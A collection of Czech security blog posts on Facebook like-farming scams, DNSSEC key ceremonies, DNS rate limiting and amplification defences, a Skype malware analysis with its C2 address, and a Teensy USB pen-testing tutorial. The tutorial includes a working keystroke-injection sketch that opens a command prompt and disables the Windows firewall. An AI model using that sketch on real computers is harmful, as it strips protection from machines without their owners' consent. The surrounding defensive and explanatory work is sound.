Určitě jste již někdy slyšeli o facebookové hře Farmville. Ale říká vám něco pojem Like-farming? Jedná se o sbírání „lajků“, tedy v podstatě fanoušků, pro konkrétní facebookovou stránku. Vlastně mě k sepsání tohoto blogpostu inspirovala pozvánka, kterou jsem nedávno dostal a která vedla na stránku „Tvůj Rodokmen aneb: Poznej své předky!
Snad ani netřeba zdůrazňovat, že žádný rodokmen nezískáte.
Podobných podvodných stránek vzniká na Facebooku celá řada. Jejich primárním cílem je nějakým způsobem nalákat uživatele, aby se stali fanouškem stránky a zároveň do ní pozvali své další přátele. Za tímto účelem se používají obvykle dvě taktiky: první něco slibuje (lechtivé video s celebritou, výhru iPhonu, iPadu, změnu vzhledu facebookové stránky, či třeba možnost sledovat, kdo si prohlížel váš facebookový profil), druhá je zastrašující (pokud nesouhlasíte se zpoplatněním využívání Facebooku, pak dejte like). Podobným skupinám je tedy vhodné se vyhnout. Pokud si nejste jisti, můžete využít například stránku facecrooks.com.
Cui bono? To je ta otázka, o kterou zde kráčí. Možná si říkáte, k čemu taková stránka může někomu být? Tak například často bývá podmínkou získání slíbené odměny požadavek na vyplnění nějaké ankety. Za to, že věnujete svůj čas jejímu vyplnění, však dostává zaplaceno majitel stránky, Vy se samozřejmě slíbené odměny, například ve formě růžového facebookového profilu, nedočkáte. Jiný způsob výdělku spočívá ve zobrazování reklamy fanouškům stránek nebo v přímém prodeji takto vybudované stránky dalšímu zájemci.
Poptávka po stránce s více než 50 tisíci fanoušky.
A nabídka (stránky již byly prodány).
Nejhorší možnou variantou je zneužití takovéto skupiny k šíření malware, například formou odkazu na video, které prostě musíte vidět. Samozřejmě místo videa budete vyzváni ke stažení přehrávače videa. Tento soubor však ve skutečnosti obsahuje malware, který ukradne vaše citlivá data a použije váš účet k dalšímu šíření odkazů na tento malware.
Doufám, že po přečtení tohoto krátkého článku budete při používání Facebooku zase o trochu obezřetnější a že nedáte zbytečně šanci vykukům, kteří vydělávají na lidské naivitě. Tak schválně, každý kdo dá like na tento článek, tomu se na facebookové stránce zpřístupní možnost sledovat soukromou korespondenci ostatních uživatelů.
Pavel Bašta
Vše, co jste kdy chtěli vědět o zabezpečení podpisu zóny .cz (ale báli jste se zeptat)
Možná jste někdy přemýšleli, jakým způsobem je zajištěna bezpečnost při podepisování naší národní domény .cz a zda podepsání vaší vlastní domény nemůže ohrozit špatné zabezpečení domény nadřazené, tedy té .cz. O ceremonii kolem generování klíče KSK pro kořenovou zónu a o jeho zabezpečení jste se mohli dočíst například v tomto článku. Náš kolega Ondřej Surý je totiž jedním ze sedmi lidí na světě, kteří vlastní SMK kartu nezbytnou pro obnovení KSK klíče kořenové zóny. Jeho rady a zkušenosti nám také pomohly při vytváření našich vlastních procesů a pravidel nutných pro co nejbezpečnější provozování DNSSECu v zóně .cz.
Aby byla zvýšena bezpečnost při nakládání s KSK klíčem, je jeho správa oddělena od správy ZSK klíčů. Ty jsou používány při podepisování zóny pomocí DNSSEC a slouží k podpisu všech záznamů v zóně, zatímco KSK klíč slouží pouze k podepisování všech DNSKEY záznamů.
Členové KSK týmu při KSK ceremonii
Samotné vybavení nezbytné pro realizaci KSK ceremonie, včetně notebooku, zařízení s uloženým KSK klíčem i bootovacího CD s Linuxem je uloženo v trezoru v sídle našeho sdružení. Vlastně to není tak docela přesné, protože v trezoru je ještě jedna schránka s vlastním zámkem, ve které jsou tyto nezbytnosti uloženy. Každý z členů KSK týmu má klíč pouze od trezoru, nebo od vnitřní schránky. Není tedy možné, aby někdo z KSK týmu sám vyjmul z trezoru jakoukoliv součást vybavení pro KSK ceremonii. Další kopie KSK klíčů a bootovacího CD jsou pro případ katastrofy uloženy také v trezoru banky.
Notebook má fyzicky odpojené bezdrátové sítě a je z něj vyjmutý harddisk, aby nebylo možné se na něj jakýmkoliv způsobem bezdrátově připojit a abychom se vyhnuli riziku nějakých zbytkových dat v cache, uložených mimo naši kontrolu. K bootování se používá CD s Ubuntu 12.0.4 LTS, upraveným pro potřeby ceremonie.
Pokud jde o generování nového KSK klíče, je při generování klíčů vždy přítomen jeden zástupce managementu. Po vygenerování nového klíče je získán hash tohoto klíče, který je zaprotokolován. Podepsané kopie dokumentu jsou následně rozdány všem držitelům klíčů od trezoru (členům KSK týmu), aby si kdykoliv v průběhu ceremonie mohli zkontrolovat, že se používá správný KSK klíč.
V případě potřeby podepsat novou sadu ZSK klíčů je tato nová sada podepsána GPG klíčem ZSK týmu a předána zástupcům KSK týmu. Ti musí být vždy minimálně dva a po celou dobu ceremonie se pohybují společně. Skript, který se stará o samotné podepsání, je zkontrolován ještě před podepsáním nové sady a to proto, aby byla žádost podepsána správným GPG klíčem ZSK týmu. Po podepsání je výsledná podepsaná sada ZSK klíčů opět podepsána pomocí GPG klíče KSK týmu tak, aby si následně členové ZSK týmu mohli být jisti, že manipulují se správnou sadou klíčů.
Celá ceremonie pro podepisování zóny .cz může působit jako poměrně složitá. Naším cílem však bylo poskytnout držitelům domén v zóně .cz jistotu, že ke kompromitaci KSK klíče a tím ohrožení bezpečnosti jejich domény nemůže dojít.
Pavel Bašta
Distribuovaná kybernetická bezpečnost
Na konferenci IT 13 jsme mimo jiné představili nový projekt zaměřený na vývoj bezpečného domácího routeru. Ten je součástí většího projektu zaměřeného na zlepšení bezpečnosti v českém síťovém prostředí a to pomocí aktivního monitoringu a analýzy síťového provozu. Zmíněný domácí router bude v rámci tohoto projektu plnit roli síťové sondy a zároveň aktivního prvku v ochraně koncových uživatelů.
V tomto krátkém článku si představíme především hlavní důvody vzniku tohoto projektu a jeho cíle.
Motivace
Každý, kdo provozuje nějaký veřejně dostupný server a podívá se občas do jeho logů, ví, že internet není klidné a bezpečné místo. I bez jakéhokoli zásahu uživatele se s počítačem připojeným k internetu neustále pokouší spojit různé cizí stroje a to málo kdy s dobrými úmysly (vizte např. výsledky z našeho honeypotu).
Vzhledem k tomu, že většina domácích sítí je připojená k síti svého poskytovatele přes jeden přístupový bod, kterým je domácí router, a často používá NAT, který schovává celou domácí síť za jedinou IP adresu, vedou první útoky v podstatě vždy právě na domácí router. Ten je tedy ideálním místem jak pro detekci pokusů o neoprávněný přístup do sítě, tak pro aktivní ochranu před nimi. Pokud by si navíc routery byly schopny mezi sebou informace o detekovaných útocích vyměňovat, mohlo by to vést ke zvýšení účinnosti ochrany jednotlivých strojů a zároveň detekci velkých útočníků.
Protože se v našem sdružení dlouhodobě věnujeme problematice internetové bezpečnosti, rozhodli jsme se vytvořit systém, který by s pomocí sítě domácích routerů dokázal monitorovat podezřelý síťový provoz a reagovat na zjištěné bezpečnostní hrozby úpravou pravidel pro přístup do sítě. Takto získané výsledky by pak byly k dispozici i pro ochranu dalších uživatelů Internetu.
Distribuovaný adaptivní firewall
Systém, který jsem nastínil v minulém odstavci, interně nazýváme „distribuovaný adaptivní firewall“ a je v této chvíli ve fázi aktivního vývoje. Součástí systému je klientská část, která po aktivaci na domácím routeru monitoruje nevyžádané pokusy o přístup do sítě zastavené firewallem a také provádí analýzu protékajících dat. V těch se pokouší odhalit anomálie, které by mohly být příznakem úspěšného útoku nebo již existující nákazy. Výsledky obou zmíněných částí klientského systému jsou nahrávány na druhou část systému, kterou je centrální server, kde jsou data dále zpracovávána a porovnávána s výsledky z ostatních sond.
Pokud je systémem některá část provozu vyhodnocena jako anomální a odborná obsluha systému vyhodnotí danou anomálii jako potenciální útok, připraví pro ni nové pravidlo pro firewall. To je potom formou aktualizace nahráno zpět na všechna zařízení zapojená do sběru dat.
Pro případy, kdy je třeba o dané anomálii získat doplňující informace, je součástí systému také nástroj na spouštění specializovaných „mikrosond“, které je možné formou modulů nahrávat na sledovaná zařízení. Ty pak umožní zaměřit analýzu na konkrétní typ provozu a získat detailnější data o daném jevu.
Výsledkem výše popsaných opatření je systém, v rámci kterého budou moci uživatelé chránit své sítě i sítě ostatních účastníků před vnějšími útoky a který se bude postupně „učit“ reagovat na nové hrozby. Navíc bude možné takto získaná data použít i pro ochranu další uživatelů Internetu, kteří nejsou do projektu přímo zapojeni, a také pro další analýzy získaných informací.
Závěr
V tomto článku jsme si představili nový projekt sdružení CZ.NIC zaměřený na distribuovanou kybernetickou bezpečnost. V blízké budoucnosti si v samostatném příspěvku ukážeme hlavního aktéra tohoto projektu, kterým je otevřený domácí router vyvíjený pod interním označením „CZ.NIC router“.
Bedřich Košata
Response rate limiting pod drobnohledem
O RRL již krátce psal Ondřej Surý v článku Ochrana obětí před DNS amplification útoky, tak tedy jen v rychlosti oč se jedná. RRL je jedna z metod, jak se poprat s amplifikačními útoky na DNS, která shlukuje podobné odpovědi do tříd a následně omezuje rychlost toku odpovědí v pro danou třídu. Jedná se v podstatě o opak filtrování dotazů na firewallu a výhodou je právě třeba identifikace různých dotazů vedoucí na podobnou odpověď, typicky na neexistující jméno. RRL v současné chvíli implementuje BIND9/10, NSD od verze 3.2.15 a Knot DNS od verze 1.2.0-rc3.
Vzhledem k tomu, že v současné chvíli není tento mechanismus nijak standardizován, každá implementace se chová mírně odlišně. Podívejme se trochu blíže na tři nejzajímavější rozdíly a to, jaký vliv mají na chování serveru pod útokem.
Základní časovou jednotkou pro měření rychlosti toku je vteřina, pro kterou do každé třídy přibyde počet tokenů odpovídající povolené rychlosti. S každou odpovědí se pak token odebírá, a pokud už jsme vše vyčerpali, odpověď zahazujeme. BIND9 k tomu navíc zavádí ještě jedno „makro okno“, které průměruje rychlost toku pro několik následujících vteřin. Zásadním rozdílem je, že v rámci tohoto okna se může počet dostupných tokenů snížit do záporných hodnot, a tím vyčerpat kapacitu pro celý zbytek okna. Jestli je například okno dlouhé 5 vteřin, limit je 10 odpovědí za vteřinu a v první vteřině přijde 50 podobných dotazů, tak následující 4 vteřiny nebude podobné dotazy zodpovídat. Knot DNS ani NSD takový koncept nemají, dá se tedy říct že délka časového okna je 1s. Důvodem je větší férovost odezvy, každá vteřina začíná s čistým štítem, avšak za cenu menší agresivity potlačení nárazových toků.
Co ale dělat v případě, že přijde legitimní dotaz v době, kdy byl vyčerpán počet tokenů? Úplně jej zahodit? Takový dotaz jen velmi těžko rozlišíme od útoku, ale přesto bychom měli dát legitimnímu tazateli možnost získat odpověď a ne jej úplně odstřihnout. Místo toho, aby tedy server dotaz zcela ignoroval, tak odešle prázdnou odpověď s nastaveným TrunCated bitem v hlavičce. Tazatel je pak nucen opakovat dotaz po TCP, na který už dostane odpověď. Takovému mechanismu se říká SLIP (podporují ho všechny implementace). Knot DNS se odlišuje tím, že má počítadlo pro každé vlákno zvlášť, a pro menší rychlost toku není tak přesný. Během testování se ale nepřesnost nijak zvlášť neprojevila a největší vliv má konzervativní výchozí nastavení.
(Zdroj: Comparison of RRL behaviour in BIND9, Knot DNS, and NSD, Dave Knight, DNS-OARC Spring 2013)
Třetí zásadní odlišností je způsob klasifikace odpovědí. Technické memo a BIND9 klasifikují odpověď pomocí:
- Zdrojové adresy (podsítě)
- Dotazovaného jména (nebo zóny v případě chyb, nadřazeného jména pokud je odpověď pokrytá wildcardem)
- Návratové hodnoty (RCODE)
NSD navíc rozlišuje několik podtříd dotazu, např. pokud je dotaz na typ ANY, Knot DNS dotazy navíc ještě klasifikuje podle velikosti. Všechny současné implementace jsou založené na hash tabulkách. Liší se ale výrazně v tom, jakým způsobem řeší kolize. Implementace v BIND9 je založená na přeplňování tabulek, přičemž kolidující klíče se řetězí za sebe (do omezeného počtu). A právě o kolizích probíhala na mailinglistu RRL dost živá diskuze. Abych to vysvětlil, řetězení dobře řeší kolize pokud je zdrojová podsíť různá, ale pořád zůstává možnost kolize hashe dotazovaného jména, které se neukládá celé. Nově ale zavádí potenciální problém, a to že útočníkovi do určité míry možnost kontrolovat množství alokované paměti pro tabulku a ztrácí výkon na procházení zřetězených hodnot.
NSD používá tabulku pevné velikosti, bez řetězení. Netrpí tedy na výše popsané problémy, ale s větší pravděpodobností umožňuje útočníkovi předem spočítat kolidující odpovědi (Birthday attack) v závislosti na velikosti tabulky. Protože není kolize kam řetězit, tak pro danou třídu resetuje počet tokenů, což sice na jednu stranu vylučuje riziko omezení kolidujících odpovědí, ale umožňuje při nalezení dvou kolidujících dotazů rate limiting zcela obejít.
Knot DNS využívá hopscotch hashing, který je velmi dobrým kompromisem s nízkou pravděpodobností kolize (1/32!) při zachování pevné velikosti. Zároveň do klíče přidává náhodně generované tajemství pro znesnadnění predikce kolizí a umožní jen jeden reset počítadla třídy za vteřinu.
Ze zatím dostupných měření na reálných datech vyplývá, že chování všech implementací je i přes popsané rozdíly velmi podobné a liší se především citlivostí u pomalého toku dotazů. Hlavním omezením metody založené na rate limitingu je především nemožnost rozlišit právoplatný dotaz od útoku, což ale při rozumné spolehlivosti není ani prakticky možné. Příliš agresivní omezení by tak mohlo vést k přílišnému zahazování právoplatných dotazů, konzervativní zase k nižší účinnosti. BIND9 doporučuje agresivnější nastavení, Knot DNS je spolu s NSD spíše na konzervativní straně (RRL ve výchozím nastavení vypnuté, v dokumentaci 50 r/s).
Marek Vavruša
Teensy jako nástroj pro penetrační testování
USB je stále často podceňovaným místem, přes které může být kompromitován operační systém. Kromě klasického šíření malware pomocí USB Mass storage disků, Flash disků s podporou U3, které umožňují obejít dnes již ve většině operačních systémů existující blokaci autorun funkce, a hardwarových keylogerů stojí za pozornost programovatelná zařízení, která se vůči systému chovají jako klávesnice. Jedno takové zařízení bych tu dnes chtěl krátce prezentovat.
Pro fanoušky open-source platformy Arduino nebude pravděpodobně ani Teensy zcela neznámé. Pro ty, kteří zatím neměli tu čest, jen krátké představení. Jedná se o jednočipové počítače, které jsou vhodné pro různé jednoúčelové aplikace jako je řízení, či regulace. Takové Arduino můžete například použít k řízení nějakého vašeho vozítka či na něm naprogramovat jednoduchý webový server a připojit jej k internetu. My se však dnes zaměříme na Teensy a především na možnost využití tohoto zařízení k penetračnímu testování.
Toto zařízení má totiž hned tři výhody, je malé, takže se snadno vměstná například do útrob počítačové myši, jeho pořizovací cena je kolem $20 a především, z pohledu počítače se umí hlásit jako MIDI/USB/HID zařízení, což mimo jiné znamená, že počítač jím zadaná data interpretuje jako povely od uživatele. Tady se právě otevírá cesta pro využití při penetračním testování. Ale pojďme pěkně po pořádku.
Teensy ++ 2.0 ve srovnání s běžným flash diskem
Kromě samotného zařízení – já jsem vše testoval na Teensy ++ ve verzi 2.0 – potřebujeme ještě obslužný software. Pokud si chcete následující proceduru ušetřit, můžete sáhnout po distribuci Backtrack 5 R3, kde už je jak ADE, tak i podpora pro Teensy implementována. V opačném případě na této adrese stáhneme nejdříve Arduino Development Environment (ADE) pro námi požadovanou platformu a rozbalíme jej na disk. Pokud pracujeme na linuxu, pak musíme ještě udělit non-root uživatelům práva k použití Teensy.
sudo cp 49-teensy.rules /etc/udev/rules.d/
Arduino software však sám o sobě nepodporuje Teensy, je proto potřeba podporu pro Teensy doinstalovat. Stáhneme tedy instalátor rozšíření teensyduino pro náš OS a spustíme jej. Během instalace teensyduino budeme vyzváni k zadání cesty k rozbalenému software pro Arduino. V aplikaci ADE by se měla nyní objevit podpora pro Teensy. Po spuštění programu ještě vybereme naši desku, v mém případě Teensy ++ 2.0 a jako USB Type nastavíme kombinaci Keyboard+Mouse+Joystick.
Nastavení programu Arduino Development Environment
Nyní již zbývá jen připojit naše zařízení. Pokud si chceme ověřit, že vše správně funguje, můžeme nahrát náš první program. Než se pustíme do vlastních programů, můžeme využít předpřipravené ukázky. Pod File –> Examples –> Teensy najdeme množství připravených prográmků, kterým se zde říká Sketch. Na první vyzkoušení doporučuji položku Tutorial1 –> Blink. Po nahrání zdrojového kódu klepneme na upload, náš sketch se automaticky zkompiluje a nahraje do zařízení. Po úspěšném nahrání by na zařízení měla začít blikat dioda. Pokud se tak nestalo, zkuste zmáčknout tlačítko, které je na desce.
Pro psaní vlastních programů použijeme jazyk Arduino Programmable Language, lze však použít i klasický programovací jazyk C. Každý sketch musí vždy obsahovat funkce setup a loop, jinak jej kompilátor nepřijme.
Základ každého programu pro Teensy
Začněme klasikou, následující program, díky skutečnosti, že se Teensy chová po připojení k počítači jako klávesnice, vypíše „Hello World“.
void setup()
{
Keyboard.print("Hello World");
}
void loop()
{
}
Pro informaci, pokud bychom příkaz umístili do smyčky loop, bude se Hello World vypisovat stále dokola. Nyní se pojďme podívat, jaké další zajímavé věci můžeme vyzkoušet.
Pokud se podíváme na tuto adresu, můžeme si najít informace o možnostech zadání všech obvyklých znaků. Zajímavé jsou také Modifier Keys, což jsou funkční klávesy, kde například MODIFIERKEY_GUI je vlastně klávesa WIN. Pojďme se nyní podívat, jakým způsobem může této skutečnosti využít útočník. Následující sketch provede tyto kroky – na začátku vyčká 5000ms, to aby došlo ke korektnímu připojení zařízení k operačnímu systému. Dále spustí klávesovou zkratku WIN R, což ve windows vyvolá okno pro spuštění programu. Do něj pak zapíše příkaz cmd pro spuštění příkazové řádky. Ve finále pak příkazem netsh firewall set opmode disable vypne firewall ve windows.
void setup()
{
delay(5000);
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
delay(500);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("cmd");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
delay(2000);
Keyboard.print("netsh firewall set opmode disable");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
}
void loop()
{
}
Takto po připojení k počítači s OS windows dojde k vypnutí firewallu, na což windows zareagují informací o možném ohrožení počítače
Jak je vidět, Teensy se skutečně chová z pohledu PC jako klávesnice. Díky možnostem, které nabízí unixové shelly nebo třeba powershell ve windows, otevírá toto zařízení zajímavé možnosti při penetračním testování. Představte si, že toto zařízení zamaskujete jako počítačovou myš, USB disk či nějaký USB gadget a necháte jej ležet na vhodném místě, třeba na recepci a nahrajete do něj vlastní kód, který pomocí powershellu například přidá nový účet a spustí remote desktop. I přes fakt, že si většina těchto prográmků otevře nejdříve okno pro zadávání příkazů, jsou prý útoky pomocí tohoto zařízení úspěšné. Pokud si však jako oběť vybere útočník počítač běžného firemního uživatele, asi to není zas až tak divné. Ze své osobní zkušenosti ze společnosti, kde se používala Active Directory a kde se při každém přihlášení počítače spouštěli různé skripty, mohu říci, že jedno okno s MSDOS navíc bych při přihlášení nejspíš také nezaregistroval.
Osobně jsem se o tomto zajímavém zařízení dozvěděl při prezentaci o programu kautilya napsaném v jazyce Ruby, který umí generovat různé ukázkové sketche pro Windows, Linux i OS X zaměřené právě na penetrační testování.
Starší verze programu Kautilya ještě bez podpory OS X je již součástí distribuce Backtrack
Jeden z těchto sketchů dokáže například stáhnout spustitelný kód uložený na serveru pastebin v textovém formátu, převést jej zpět na exe a spustit jej na pozadí na počítači oběti. Další zase dokáží přidat nového administrátora, povolit vzdálenou plochu, či na pozadí spustit instanci prohlížeče s konkrétní URL.
Pojďme si ještě krátce říci, jak se lze proti zneužití takovéhoto zařízení vůči námi spravovaným počítačům bránit. Ve světě operačních systémů společnosti Microsoft můžeme pomocí skupinové politiky zakázat běžným uživatelům instalaci nového hardware. V linuxu pak můžeme pomocí UDEV rules například povolit pouze známá zařízení.
Microsoft nabízí přes gpedit.msc několik způsobů pro blokování instalace nových zařízení
Pavel Bašta
Jak se chytá malware
Včera jsme od jednoho uživatele z ČR obdrželi odkaz (http://www.goo.gl/XXXXXXX=IMG0540240-JPG), který dostal jeho známý přes Skype. Byli jsme požádáni o informaci, co se mohlo na tomto počítači stát, jaké to mohlo mít dopady a jak se případného viru zbavit. Zkusili jsme tedy analyzovat zaslaný odkaz v předem připraveném virtuálním prostředí. Samotná návštěva odkazu (zamaskovaný odkaz ve skutečnosti míří na IP adresu 94.242.198.64) vede k tomu, že je uživateli nabídnut ke stažení soubor s názvem IMG0540240-JPG.src.
Nepozorný uživatel snadno přehlédne skutečnou koncovku souboru, kterou je .scr
Po spuštění programu se v domovském adresáři aktuálního uživatele vytvoří složka S-500-9430-5849-2045, která je nastavena jako skrytá a systémová, takže při běžném nastavení Windows ji uživatel nevidí. V této složce je pak umístěn soubor winmgr.exe. Zároveň je do registrů přidán klíč Microsoft Windows Manager, kvůli zajištění automatického spuštění malwaru po startu Windows.
Program se po spuštění pokouší o připojení na IP adresu 94.242.198.64 na port 5050. Při našem prvním testu se mu to také podařilo, stáhl si instrukce a začal se pokoušet o rozesílání e-mailové pošty. Předpokládáme, že pokud by na testovacím systému byl funkční Skype, malware by se pokoušel šířit i jeho prostřednictvím. Bohužel se však v tu chvíli testovací systém odporoučel a nemáme tak k dispozici zachycené pakety pro detailnější analýzu. Při pozdějších pokusech se již malwaru se serverem kontaktovat nepodařilo. Server je nyní odpojen. Otázkou je, zda je to pouze dočasné nebo již byl odpojen definitivně.
Paket zachycený programem wireshark
Který program se pokouší o připojení lze dobře sledovat také pomocí programu TCPView
Soubor winmgr.exe jsme otestovali pomocí on-line nástroje virustotal.com a v současné chvíli jej rozpozná pouze 12 ze 46 antivirových programů. Bohužel mezi těmi „slepými“ jsou v současné chvíli i antiviry, které jsou hojně používané v ČR. Naštěstí podle analyzátoru společnosti Google na tento odkaz klikají především uživatelé v okolních zemích. Nelze však vyloučit, že u nás koluje jiný odkaz směřující na stejný malware a že tento odkaz může mít v ČR daleko více kliknutí.
Antiviry jsou zatím slepé
Na tento odkaz již kliklo 137 069 uživatelů
Jako obranu doporučujeme v první řadě neklikat na příchozí odkazy upozorňující uživatele na údajné fotky, na kterých by měli být zobrazeni, i když záminky, které mají uživatele donutit ke kliknutí, se mohou měnit. Pokud však již uživatel na odkaz kliknul a soubor spustil, je potřeba zachovat klidnou hlavu a v první řadě ukončit přes správce úloh proces winmgr.exe. Dále je potřeba smazat samotný soubor winmgr.exe ve složce S-500-9430-5849-2045. Je však potřeba nejdříve zapnout zobrazování skrytých a systémových souborů. Pak ještě odebereme z registrů klíč Microsoft Windows Manager a po restartu by mělo být již vše v pořádku.
Tento malware se nezdá být příliš sofistikovaný. Jeho závislost na jednom serveru i jeho relativně snadné odstranění ze systému ukazují spíš na práci někoho, kdo si možná jen chtěl vyzkoušet své možnosti. Přesto náš další krok bude distribuce vzorku tohoto malware antivirovým výrobcům.
UPDATE: Po napsání tohoto blogpostu se server na IP adrese 94.242.198.64 opět rozběhl. Stávající malware si z něho poté stáhl bratříčka, soubor bget.exe. Ten se v systému zahnízdil jako soubor 0584105130.exe v adresáři LOCALS~1\Temp\ v domovském adresáři uživatele. Tento soubor se v registru nachází hned na několika místech. Je tedy potřeba prohledat registr na výskyt „0584105130“ a všechny klíče odstranit. Po tomto kroku doporučujeme provést preventivní kontrolu systému některým z bootovatelných antivirových CD.
Pavel Bašta
Nežijeme v bublině
V ČR nežijeme v bublině, které by se netýkaly problémy počítačové bezpečnosti. Proto bychom se po delší době chtěli opět podělit o některé zajímavé incidenty, se kterými jsme se v průběhu přibližně posledního roku setkali. U některých z nich je navíc zajímavé, že jste se o nich mohli dozvědět jako o něčem, co se někde odehrává, ale co si možná podvědomě představujeme jako něco, co se děje tam někde „venku“. Děje se to však i u nás, a proto je potřeba věnovat otázce počítačové bezpečnosti adekvátní prostor. Snad vás o tom přesvědčí i příklady některých incidentů, které jsme v CSIRT.CZ řešili, a které ukazují, že bezpečnost se týká nás všech, uživatelů i administrátorů. Z důvodů zachování anonymity zainteresovaných stran bohužel nemůžeme být příliš konkrétní, ale i přesto doufám, že pro vás budou následující řádky varováním.
V červnu minulého roku nás CERT-EU informoval o útoku, při kterém byla uživatelům v některých zemích odeslána e-mailová zpráva, která vypadala jako oficiální komunikace Evropské komise. V té chvíli jsme ještě netušili, že neznámý malware obsažený v přiloženém MS Word dokumentu a v rámci ČR odeslaný úředníkům jednoho českého ministerstva a jedné zdejší bance vstoupí do dějin jako špionážní malware Red October. O jeho existenci byla veřejnost informována v lednu tohoto roku, kdy se ukázalo, že po několik let sledoval vládní, diplomatické a výzkumné organizace ve východní Evropě. To, že se podařilo díky spolupráci CSIRT týmů v Evropě zabránit infikování desítek uživatelů v různých institucích půl roku před objevením tohoto malware, považujeme za slušný úspěch.
V posledním půl roce také pravidelně spolupracujeme s US-CERT a to v souvislosti s výskytem botnetu, který pro své fungování využívá webové servery. Šíří se především prostřednictvím zranitelných verzí známých redakčních systémů, jako je Joomla či WordPress. I když se může na první pohled zdát, že zranitelných webů je méně než zranitelných domácích počítačů, menší počet jednotlivých zapojených „botů“ útočníkům vynahradí rychlé linky, na kterých jsou obvykle servery připojené. Takto napadené servery se dle našich informací momentálně zneužívají především pro DDoS útoky na cíle v USA. V podstatě každý týden dostáváme informace o desítkách nových webových serverů v ČR, které jsou tímto způsobem zotročeny.
Za zmínku také stojí spolupráce CERT.BE, který získal logy přístupů na webovou stránku umístěnou na serveru v Belgii. Tato stránka šířila nebezpečný malware, který některé antivirové programy vůbec nedokázaly detekovat. Mezi počítači, které tento web navštívily, bylo také několik IP adres z České republiky. Podle informací, které jsme od námi kontaktovaných správců obdrželi, se skutečně tyto počítače při návštěvě tohoto webu nakazily a jejich uživatelé neměli vůbec tušení, že jejich počítač je infikován.
Začátkem března jsme se také podíleli na distribuci informací o novém rootkitu pro Linux, který se v systému usadí v podobě knihovny spojené s SSHD a u kterého zatím není jasné, jakým způsobem se do systému dostává. Mezi potenciálně infikovanými servery bylo i několik serverů z ČR.
Na závěr bych ještě zmínil, že jsme se již setkali také s případem vydírání, kdy bylo po jednom menším serveru požadováno „výpalné“ s tím, že dokud nezačne platit, bude na něj pravidelně podnikán DDoS útok.
Jak je vidět, kybernetická kriminalita a útoky se nevyhýbají ani České republice a je třeba na to pamatovat při naší každodenní práci, ať už z pohledu uživatele, nebo z pohledu správce IT.
Pavel Bašta
Ochrana obětí před DNS amplification útoky
Posledních pár měsíců jsme byli svědky DNS útoků, které k amplifikaci používaly ANY dotazy na autoritativní servery s dostatečnou kapacitou. Jako reakce na tento druh útoků přišla DNS komunita s technikou Response Rate Limiting, takže kromě rate-limiting pravidel ve firewallu můžete dnes najít podporu RRL ve všech důležitých autoritativních serverech: BIND 9 (ve formě patche), NSD (od verze 3.2.15) a Knot DNS (od verze 1.2.0-rc3). Knot DNS navíc od verze 1.1.0 podporuje blokování dotazů na ANY; v případě, že DNS server dostane DNS dotaz na typ ANY, vrátí se pouze malá odpověď s nastaveným truncate (TC) bitem, která resolveru říká, že se má zeptat znovu přes TCP. Velcí operátoři DNS serverů tedy zareagovali poměrně rychle a nasadili buď novější nebo opatchované verze DNS serverů, nebo případně pravidla ve firewallech.
Dnes se zdá, že sezóna útoků založených na ANY dotazech je za námi a útočníci se v případě masivního DDoS útoku na Spamhaus vrátili k osvědčené technice zneužívání otevřených resolverů a TXT záznamů.
Důležité je zdůraznit, že jediná spolehlivá ochrana proti těmto útokům je buď omezení přístupu na otevřené resolvery pouze ze sítě, kde mají být dostupné, nebo v případě, že je takový resolver otevřený cíleně, tak přísný rate-limiting, který neomezí legitimní uživatele, ale útočníkům znemožní využívat DNS amplifikaci ve velké míře. Osobně se ovšem domnívám, že případů, kdy je otevřený resolver opravdu zapotřebí, by se dalo napočítat na prstech jedné ruky.
Pokud se budeme bavit o ochraně na trochu vyšší úrovni, tak finálním cílem bude donutit (nejlépe všechny) operátory k ingress filteringu (tedy BCP38), který by zabránil možnosti masově podvrhávat zdrojové IP adresy. Zde by byla zapotřebí spolupráce všech operátorů, aby při uzavírání smluv se zákazníky toto filtrování vyžadovali a vynucovali. Bude to ze začátku bolestivé, ale domnívám se, že se pomalu blížíme do situace, kdy liberální přístup nepomáhá vůbec nikomu kromě útočníků.
A protože lov na všechny otevřené resolvery, což si například klade za cíl Open DNS Resolver Project, je běh na dlouhou trať (skeptik by dodal, že je to spíše boj s větrnými mlýny), tak si pojďme rychle ukázat, jak se dá pomoci obětem DNS DDoS útoků pokud máte v síti otevřené resolvery zapojené do útoku.
Samozřejmě nejjednodušší řešení je na odchozím firewallu nastavit blokování veškerého UDP provozu na IP adresy cíle. Ale to bychom tak říkajíc s vaničkou vylili i dítě a zaDoSovali cílový server ještě lépe než útočník, protože na postižené DNS servery občas také chodí legitimní dotazy, které je zapotřebí zodpovědět.
Pro blokování pouze takových DNS zpráv, které jsou součástí útoku, se dá využít jednoduchý příznak dotazy (QUERY) v hlavičce DNS zprávy. Legitimní DNS zprávy od klientů, které opravdu zajímá odpověď a nejsou jen součástí útoku, budou mít tento příznak nastavený na 0. Odražené DNS zprávy budou mít tento příznak nastavený na 1, což znamená odpověď. Na firewallu pak můžeme jednoduše spárovat cílovou IP adresu s tímto příznakem v DNS zprávě (v iptables například pomocí modulu u32), a odražené DNS zprávy blokovat.
Pomocí iptables bude tedy konfigurace na firewallu vypadat nějak takto:
iptables -A FORWARD -s <vase_sit/maska> -d <victim_ip>
-p udp --sport 53 \! -f
-m u32 --u32 "0>>22&0x3C@8>>15&0x01=1" -j LOGDROP
Toto pravidlo loguje a blokuje (v případě, že máte nadefinovaný chain LOGDROP) všechny UDP odpovědi na portu 53 (-p udp --dport 53), které nejsou fragmentované (\! -f) a na nejvyšší pozici dvou bajtu DNS hlavičky je nastavená 1. (Mimochodem se zdá, že v příkladu z manuálu netfilteru, který jsem použil je chyba, a autora příkladu zmátlo to, že DNS dotaz je specifikován bitem QR=0.)
Pokud jste si jistí, že síť, kterou firewallujete nemá obsahovat žádné DNS servery, které by měly dávat odpovědi ven, tak můžete vyhodit část pravidlo s ‚-d
V případě jiných firewallů je zapotřebí se začíst do dokumentace, v komentářích pak uvítám, pokud se podělíte s tím, jak dosáhnout podobné kontroly v BSD ipf, na Ciscu nebo Juniperu.
Ondřej Surý
Zpomalování Internetu?
